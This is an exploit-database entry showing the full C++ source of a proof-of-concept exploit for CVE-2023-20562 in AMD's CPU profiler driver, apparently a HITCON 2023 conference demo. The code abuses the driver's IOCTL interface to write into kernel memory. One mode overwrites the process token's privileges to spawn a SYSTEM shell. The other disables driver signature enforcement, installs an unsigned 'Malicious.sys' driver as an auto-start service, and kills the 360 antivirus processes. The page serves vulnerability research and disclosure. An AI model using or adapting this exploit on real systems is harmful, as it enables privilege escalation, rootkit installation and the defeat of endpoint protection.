Exploit database

GH-17e9589da454dbfac37df17586b03e9b

passwa11/hitcon-2023-demo-cve-2023-20562

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-20562

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.cpp

Suggested starting fileC++ · 7,753 bytes
#include "global.h"
#include "token.h"
#include "byovd.h"
#include <iostream>

#define SymLinkName L"\\\\.\\AMDCpuProfiler0"

HANDLE hDevice;

struct DATA_22202C
{
    unsigned int index;
    unsigned int BufferCount;
};

struct DATA_222044
{
    unsigned long long index;           // offset 0
    PVOID filepath1;                    // offset 8
    unsigned long long filepath1len;    // offset 0x10
    PVOID filepath2;                    // offset 0x18
    unsigned long long filepath2len;    // offset 0x20
};

struct DATA_222058
{
    unsigned long long index;
    PVOID address1;
    unsigned long long length1;
    PVOID address2;
    unsigned long long length2;
};

struct DATA_222098
{
    unsigned int index;
    unsigned int property;
    unsigned char padding[16];
};

struct DATA_2220D8
{
    unsigned int resource1 = 0;
    unsigned int resource2 = 0;
    unsigned int resource3 = 0;
    unsigned int resource4 = 0;
    unsigned int resource5 = 0;
};

void PrettyPrint(PVOID address)
{
    for (int i = 0; i < 0x100; i += 0x10)
    {
        for (int j = 0; j < 0x10; j++)
        {
            printf("%02x ", *(unsigned char*)((long long)address + i + j));
        }
        printf("\t");
        for (int j = 0; j < 0x10; j++)
        {
            unsigned char c = *(unsigned char*)((long long)address + i + j);
            if (c >= 32 && c <= 126)
            {
                printf("%c ", c);
            }
            else
            {
                printf(". ");
            }
        }
        printf("\n");
    }
    printf("\n");
}

void PcoreVersion_222000()
{
    DWORD dwWrite;
    unsigned long long version = 0;
    NTSTATUS status = DeviceIoControl(hDevice, 0x222000, &version, 8, &version, 8, &dwWrite, NULL);
    printf("PcoreVersion - version: %llx\n", version);
}

void Register_22202C()
{
    DWORD dwWrite;
    DATA_22202C data;
    data.index = 0x4af024e5;
    data.BufferCount = 0x200;
    NTSTATUS status = DeviceIoControl(hDevice, 0x22202C, &data, 8, &data, 8, &dwWrite, NULL);
    printf("Register - index: %d\n", data.index);
}

void IOCTL_SET_OUTPUT_FILE_222044(PVOID addr)
{
    DWORD dwWrite;
    DATA_222044 data;
    data.index = 0;
    if (addr)
    {
        data.filepath1 = addr;
        data.filepath1len = 8;
    }
    else
    {
        data.filepath1 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100);
        memset(data.filepath1, 0, 0x100);
        unsigned char filepath[] = {'C', '\0', ':', '\0', '\\', '\0',   'a', 'a', '\x11', '\x02', '\x06',
                                    'a', 'a',  'a', 'b',  'b',  '\x11', 'b', 'b', 'b',    'b',    'b'};
        // unsigned char filepath[] = {'C', '\0', ':', '\0', '\\',   '\0', 'a', '\0'};
        memcpy(data.filepath1, filepath, sizeof(filepath));
        data.filepath1len = sizeof(filepath) / 2;
    }

    data.filepath2 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100);
    memset(data.filepath2, 0, 0x100);
    WCHAR filepath2[] = L"C:\\Users\\admin\\Desktop\\haha2.txt";
    memcpy(data.filepath2, filepath2, sizeof(filepath2));
    data.filepath2len = sizeof(filepath2) / 2 - 1;
    printf("filepath1 size: %d, filepath2 size: %d\n", data.filepath1len, data.filepath2len);
    NTSTATUS status = DeviceIoControl(hDevice, 0x222044, &data, 40, &data, 40, &dwWrite, NULL);
    printf("IOCTL_SET_OUTPUT_FILE\n");
}

void IOCTL_GET_OUTPUT_FILE_222058(PVOID addr, unsigned int len)
{
    DWORD dwWrite;
    DATA_222058 data;
    data.index = 0;
    if (addr)
    {
        data.address1 = addr;
        data.length1 = len;    // wide char
    }
    else
    {
        data.address1 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100);
        memset(data.address1, 0, 0x100);
        data.length1 = 0x100;
    }

    data.address2 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100);
    memset(data.address2, 0, 0x100);
    data.length2 = 0x100;
    NTSTATUS status = DeviceIoControl(hDevice, 0x222058, &data, 0x28, &data, 0x28, &dwWrite, NULL);
    printf("IOCTL_GET_OUTPUT_FILE - \n");

    if (!addr)
    {
        PrettyPrint(data.address1);
    }
}

void IOCTL_GET_PROFILER_PROPERTIES_222098()
{
    DWORD dwWrite;
    DATA_222098 data;
    data.index = 0;
    data.property = 0;
    memset(data.padding, 0, 0x10);
    NTSTATUS status = DeviceIoControl(hDevice, 0x222098, &data, 24, &data, 24, &dwWrite, NULL);
    printf("IOCTL_GET_PROFILER_PROPERTIES - property: %x\n", data.property);
}

void IOCTL_CLEAR_PROFILER_2220D0()
{
    DWORD dwWrite;
    unsigned int data = 0;
    NTSTATUS status = DeviceIoControl(hDevice, 0x2220D0, &data, 4, &data, 4, &dwWrite, NULL);
    printf("IOCTL_CLEAR_PROFILER - status: %d\n", data);
}

void PcoreGetResourceAvailability_2220D8()
{
    DWORD dwWrite;
    DATA_2220D8 data;
    NTSTATUS status = DeviceIoControl(hDevice, 0x2220D8, &data, 20, &data, 20, &dwWrite, NULL);
    printf("PcoreGetResourceAvailability - 1: %x, 2: %x, 3: %x, 4: %x, 5: %x\n", data.resource1, data.resource2,
           data.resource3, data.resource4, data.resource5);
}

int main(int argc, char* argv[])
{
    int choice = 0;
    if (argc != 2)
    {
        printf("Usage:\n  - LPE: Spawn a cmd with system privilege.\n  - BYOVD: Kill 360 antivirus processes.\n");
        return 0;
    }
    if (memcmp(argv[1], "LPE", 3) == 0)
    {
        choice = 0;
    }
    else if (memcmp(argv[1], "BYOVD", 5) == 0)
    {
        choice = 1;
    }

    hDevice = CreateFile(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("Get Driver Handle Error with Win32 error code: %x\n", GetLastError());
        system("pause");
        return 0;
    }

    // Set the context of the software.
    PcoreVersion_222000();
    Register_22202C();
    PcoreGetResourceAvailability_2220D8();
    IOCTL_GET_PROFILER_PROPERTIES_222098();
    IOCTL_CLEAR_PROFILER_2220D0();
    IOCTL_GET_PROFILER_PROPERTIES_222098();
    IOCTL_GET_PROFILER_PROPERTIES_222098();
    IOCTL_GET_PROFILER_PROPERTIES_222098();

    if (choice == 0)
    {
								// Abuse token in EPROCESS to get privilege.
        QWORD TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
        printf("\n[i] Address of current process token 0x%p", TokenAddress);

        QWORD SepPrivilegesOffset = 0x40;
        QWORD TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
        printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten haha\n", TokenAddressTarget);

        IOCTL_SET_OUTPUT_FILE_222044(0);
        IOCTL_GET_OUTPUT_FILE_222058((char*)TokenAddressTarget - 2, 11);
        spawnShell();
    }
    else if (choice == 1)
    {
        // Find DSE flag and write into it.
        PVOID CiOptionsAddress;
        AnalyzeCi(&CiOptionsAddress);
        IOCTL_SET_OUTPUT_FILE_222044(0);
        IOCTL_GET_OUTPUT_FILE_222058((char*)CiOptionsAddress - 1, 1);

        const auto svcName = L"malicious";
        const auto svcDesc = L"malicious";
        const wchar_t driverName[] = L"\\Malicious.sys";
        const auto pathSize = MAX_PATH + sizeof(driverName) / sizeof(wchar_t);
        TCHAR driverPath[pathSize];
        GetCurrentDirectory(pathSize, driverPath);
        wcsncat_s(driverPath, driverName, sizeof(driverName) / sizeof(wchar_t));
        service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);

								// Kill 360 processes.
        system("taskkill /IM QHActiveDefense.exe /F");
        system("taskkill /IM QHSafeTray.exe /F");
        system("taskkill /IM QHWatchdog.exe /F");
        system("taskkill /IM QHSafeMain.exe /F");
        system("taskkill /IM PromoUtil.exe /F");
    }
    system("pause");
    return 0;
}